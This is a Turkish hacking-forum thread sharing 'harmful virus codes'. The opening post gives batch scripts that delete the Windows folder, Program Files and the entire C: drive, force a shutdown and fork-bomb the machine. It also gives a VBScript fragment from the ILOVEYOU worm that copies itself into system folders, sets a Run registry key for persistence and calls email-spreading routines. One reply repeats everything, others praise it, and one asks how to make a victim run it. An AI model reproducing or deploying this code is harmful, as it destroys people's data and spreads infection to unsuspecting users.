Zararlı virüs kodları 2

ByKimdi · 3 Tem 2016

Kod:

[COLOR="Red"][FONT="Arial Black"]pc çökertme[/FONT][/COLOR]

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\*.*

@echo off

cls

cls

@echo .::VForVendetta::.

@echo off

[COLOR="red"][FONT="Arial Black"]pc Restart attıran virüs [/FONT][/COLOR]

shutdown -s -t 60 -c "VForVendetta"

[COLOR="red"][FONT="Arial Black"]
PC YAVAŞLATMA KODU[/FONT][/COLOR]

:m

start

goto m
[COLOR="red"][FONT="Arial Black"]
Ram Patlatma Kodu [/FONT][/COLOR]

rem delete -pcas(-vbe)

On es error -pc

On error Next Pc Hack

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow

eq=""

ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")

if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()

html()

spreadtoemail()

listadriv()

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"

[COLOR="red"][FONT="Arial Black"]VE KÖTÜ BİR VİRÜS[/FONT][/COLOR]

md virus1

md virus2

md virus3

md virus4

md virus5

md virus6

md virus7

md virus8

md virus9

md virus10

md virus11

md virus12

md virus13

md virus14

md virus15

md virus16

md virus17

md virus18

md virus19

md virus20

md virus21

md virus22

md virus23

md virus24

md virus25

md virus26

md virus27

md virus28

md virus29

md virus30

md virus31

md virus32

md virus33

md virus34

md virus35

md virus36

md virus37

md virus38

md virus39

md virus40

@echo off

@echo YapayHackers Adlı Çok Tehlikeli Bir Dosya Çalıştırdınız...

@echo Ve Bilgisayara Virüs Bulaştırdınız...

@echo "Esc" Tuşuna Basarak Çıkış Yapmazsanız Bilgisayarınız Çökecektir...

Pause>nul

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start


HERŞEY VATAN İÇİN ...

RageUnseen · 3 Tem 2016

Konunuzu kod içine alırsanız daha güzel olur

Bknz;

Kod:

Online
Asteğmen
Genel Bilgiler
Üyelik tarihi
Jul 2016
Mesajlar
9
Konular
3

Teşekkür (Etti): 0
Teşekkür (Aldı): 0

   
Exclamation Zararlı virüs kodları 2

pc çökertme

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\*.*

@echo off

cls

cls

@echo .::VForVendetta::.

@echo off

pc Restart attıran virüs 

shutdown -s -t 60 -c "VForVendetta"


PC YAVAŞLATMA KODU

:m

start

goto m

Ram Patlatma Kodu 

rem delete -pcas(-vbe)

On es error -pc

On error Next Pc Hack

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow

eq=""

ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")

if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()

html()

spreadtoemail()

listadriv()

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"

VE KÖTÜ BİR VİRÜS

md virus1

md virus2

md virus3

md virus4

md virus5

md virus6

md virus7

md virus8

md virus9

md virus10

md virus11

md virus12

md virus13

md virus14

md virus15

md virus16

md virus17

md virus18

md virus19

md virus20

md virus21

md virus22

md virus23

md virus24

md virus25

md virus26

md virus27

md virus28

md virus29

md virus30

md virus31

md virus32

md virus33

md virus34

md virus35

md virus36

md virus37

md virus38

md virus39

md virus40

@echo off

@echo YapayHackers Adlı Çok Tehlikeli Bir Dosya Çalıştırdınız...

@echo Ve Bilgisayara Virüs Bulaştırdınız...

@echo "Esc" Tuşuna Basarak Çıkış Yapmazsanız Bilgisayarınız Çökecektir...

Pause>nul

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

start

p20yavuz02 · 3 Tem 2016

Eline sağlık faydalı

ByKimdi · 3 Tem 2016

Teşekkürler

Rammsteins · 3 Tem 2016

+++++++++

ByKimdi · 3 Tem 2016

yeniyim burda pek bilgim yok bildiklerimi burda paylaşıyorum herkeze teşekkürler

dwane · 14 Tem 2016

faydalı

EppekAdam · 14 Tem 2016

Kardeşim Yanitlarsan sevinirim ben yeniyim de simdi bu pc yavaslatmayi nasıl yapacağız bimiyorum + bunu kisiye nasıl yedirecegiz Teşekkür ederim.

kimim ben acaba · 14 Tem 2016

1 kaç ay önce bunu bi arkadaşıma attım ve korkmuştu eğer saf bir insana atarsanız korkudan eli ayağı tutmaz olur

kimim ben acaba · 14 Tem 2016

yararlı paylaşım bu arada eline emeğine sağlık

ZeussHack · 14 Tem 2016

teşekkürler

hoobstank · 11 Ağu 2016

teşekkürler

Zararlı virüs kodları 2

ByKimdi

Yeni üye

RageUnseen

Adanmış Üye

p20yavuz02

Uzman üye

ByKimdi

Yeni üye

Rammsteins

Yeni üye

ByKimdi

Yeni üye

dwane

Üye

EppekAdam

Üye

kimim ben acaba

Uzman üye

kimim ben acaba

Uzman üye

ZeussHack

Katılımcı Üye

hoobstank

Yeni üye

Sosyal medya sayfalarımız